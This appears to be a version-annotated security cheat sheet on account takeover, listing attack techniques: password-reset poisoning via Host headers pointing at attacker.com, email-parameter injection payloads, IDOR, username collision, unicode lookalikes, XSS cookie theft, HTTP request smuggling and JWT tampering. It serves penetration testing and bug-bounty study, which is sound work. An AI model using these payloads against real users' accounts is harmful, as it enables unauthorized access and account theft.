2020-09-19 09:30:32 +00:00
# Account Takeover
2024-11-03 20:22:14 +00:00
> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
2020-09-19 09:30:32 +00:00
## Summary
* [Password Reset Feature ](#password-reset-feature )
2024-11-13 14:30:33 +00:00
* [Password Reset Token Leak via Referrer ](#password-reset-token-leak-via-referrer )
2020-09-19 09:30:32 +00:00
* [Account Takeover Through Password Reset Poisoning ](#account-takeover-through-password-reset-poisoning )
2024-11-13 14:30:33 +00:00
* [Password Reset via Email Parameter ](#password-reset-via-email-parameter )
2020-09-19 09:30:32 +00:00
* [IDOR on API Parameters ](#idor-on-api-parameters )
* [Weak Password Reset Token ](#weak-password-reset-token )
2020-10-03 09:30:09 +00:00
* [Leaking Password Reset Token ](#leaking-password-reset-token )
2024-11-13 14:30:33 +00:00
* [Password Reset via Username Collision ](#password-reset-via-username-collision )
* [Account Takeover Due To Unicode Normalization Issue ](#account-takeover-due-to-unicode-normalization-issue )
* [Account Takeover via Web Vulneralities ](#account-takeover-via-web-vulneralities )
* [Account Takeover via Cross Site Scripting ](#account-takeover-via-cross-site-scripting )
* [Account Takeover via HTTP Request Smuggling ](#account-takeover-via-http-request-smuggling )
* [Account Takeover via CSRF ](#account-takeover-via-csrf )
2020-09-19 09:30:32 +00:00
* [References ](#references )
## Password Reset Feature
2024-11-13 14:30:33 +00:00
### Password Reset Token Leak via Referrer
2020-09-19 09:30:32 +00:00
1. Request password reset to your email address
2. Click on the password reset link
2020-10-17 20:47:20 +00:00
3. Don't change password
2020-09-19 09:30:32 +00:00
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
### Account Takeover Through Password Reset Poisoning
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com` , `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header
2024-11-13 14:30:33 +00:00
2020-09-19 09:30:32 +00:00
```http
POST https://example.com/reset.php HTTP/1.1
Accept: */*
Content-Type: application/json
Host: attacker.com
```
2024-11-13 14:30:33 +00:00
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
2020-09-19 09:30:32 +00:00
2024-11-13 14:30:33 +00:00
### Password Reset via Email Parameter
2020-09-19 09:30:32 +00:00
```powershell
# parameter pollution
email=victim@mail.com& email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters
1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request
2020-09-27 18:05:56 +00:00
3. Send it to the repeater tab and edit the parameters : User ID/email
2024-11-13 14:30:33 +00:00
2020-09-19 09:30:32 +00:00
```powershell
POST /api/changepass
[...]
("form": {"email":"victim@email.com","password":"securepwd"})
```
### Weak Password Reset Token
The password reset token should be randomly generated and unique every time.
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
* Timestamp
* UserID
* Email of User
* Firstname and Lastname
* Date of Birth
* Cryptography
* Number only
* Small token sequence (< 6 characters between [ A-Z , a-z , 0-9 ])
* Token reuse
* Token expiration date
2020-10-03 09:30:09 +00:00
### Leaking Password Reset Token
2024-11-13 14:30:33 +00:00
1. Trigger a password reset request using the API/UI for a specific email e.g: < test @ mail . com >
2020-10-03 09:30:09 +00:00
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2024-11-13 14:30:33 +00:00
### Password Reset via Username Collision
2020-10-18 22:13:18 +00:00
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.
2024-11-13 14:30:33 +00:00
The platform CTFd was vulnerable to this attack.
2020-10-18 22:13:18 +00:00
See: [CVE-2020-7245 ](https://nvd.nist.gov/vuln/detail/CVE-2020-7245 )
2020-10-03 09:30:09 +00:00
2024-11-13 14:30:33 +00:00
### Account Takeover Due To Unicode Normalization Issue
2022-03-15 10:15:44 +00:00
2023-01-04 15:33:20 +00:00
When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.
2024-11-13 14:30:33 +00:00
* Victim account: `demo@gmail.com`
* Attacker account: `demⓞ@gmail.com`
2022-03-15 10:15:44 +00:00
2023-01-04 15:36:36 +00:00
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character ](https://github.com/tomnomnom/hacks/tree/master/unisub ).
[Unicode pentester cheatsheet ](https://gosecure.github.io/unicode-pentester-cheatsheet/ ) can be used to find list of suitable unicode characters based on platform.
2022-03-15 10:15:44 +00:00
2024-11-13 14:30:33 +00:00
## Account Takeover via Web Vulneralities
2024-11-03 20:22:14 +00:00
2024-11-13 14:30:33 +00:00
### Account Takeover via Cross Site Scripting
2020-09-19 09:30:32 +00:00
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie
2024-11-13 14:30:33 +00:00
### Account Takeover via HTTP Request Smuggling
2020-09-19 09:30:32 +00:00
Refer to **HTTP Request Smuggling** vulnerability page.
2024-11-13 14:30:33 +00:00
2020-09-19 09:30:32 +00:00
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
2024-11-13 14:30:33 +00:00
2020-09-19 09:30:32 +00:00
```powershell
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -h
```
2024-11-13 14:30:33 +00:00
2020-09-19 09:30:32 +00:00
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
2024-11-13 14:30:33 +00:00
2020-09-19 09:30:32 +00:00
```powershell
GET http://something.burpcollaborator.net HTTP/1.1
X:
```
2024-11-13 14:30:33 +00:00
2020-09-19 09:30:32 +00:00
3. Final request could look like the following
2024-11-13 14:30:33 +00:00
2020-09-19 09:30:32 +00:00
```powershell
GET / HTTP/1.1
2020-10-17 20:47:20 +00:00
Transfer-Encoding: chunked
2020-09-19 09:30:32 +00:00
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
2024-11-13 14:30:33 +00:00
2020-11-22 09:52:20 +00:00
Hackerone reports exploiting this bug
2020-09-19 09:30:32 +00:00
2024-11-13 14:30:33 +00:00
* < https: // hackerone . com / reports / 737140 >
* < https: // hackerone . com / reports / 771666 >
2024-11-03 20:22:14 +00:00
2024-11-13 14:30:33 +00:00
### Account Takeover via CSRF
2020-09-23 15:19:34 +00:00
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
2. Send the payload
2024-11-13 14:30:33 +00:00
### Account Takeover via JWT
2024-11-03 20:22:14 +00:00
2024-11-13 14:30:33 +00:00
JSON Web Token might be used to authenticate an user.
2020-09-27 18:05:56 +00:00
* Edit the JWT with another User ID / Email
2024-11-13 14:30:33 +00:00
* Check for weak JWT signature
2020-09-23 15:19:34 +00:00
2020-09-19 09:30:32 +00:00
## References
2024-11-13 14:30:33 +00:00
* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020 ](https://www.youtube.com/watch?v=gzM4wWA7RFo )
* [10 Password Reset Flaws - Anugrah SR - September 16, 2020 ](https://anugrahsr.github.io/posts/10-Password-reset-flaws/ )
* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020 ](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28 )
* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020 ](https://nvd.nist.gov/vuln/detail/CVE-2020-7245 )
* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020 ](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/ )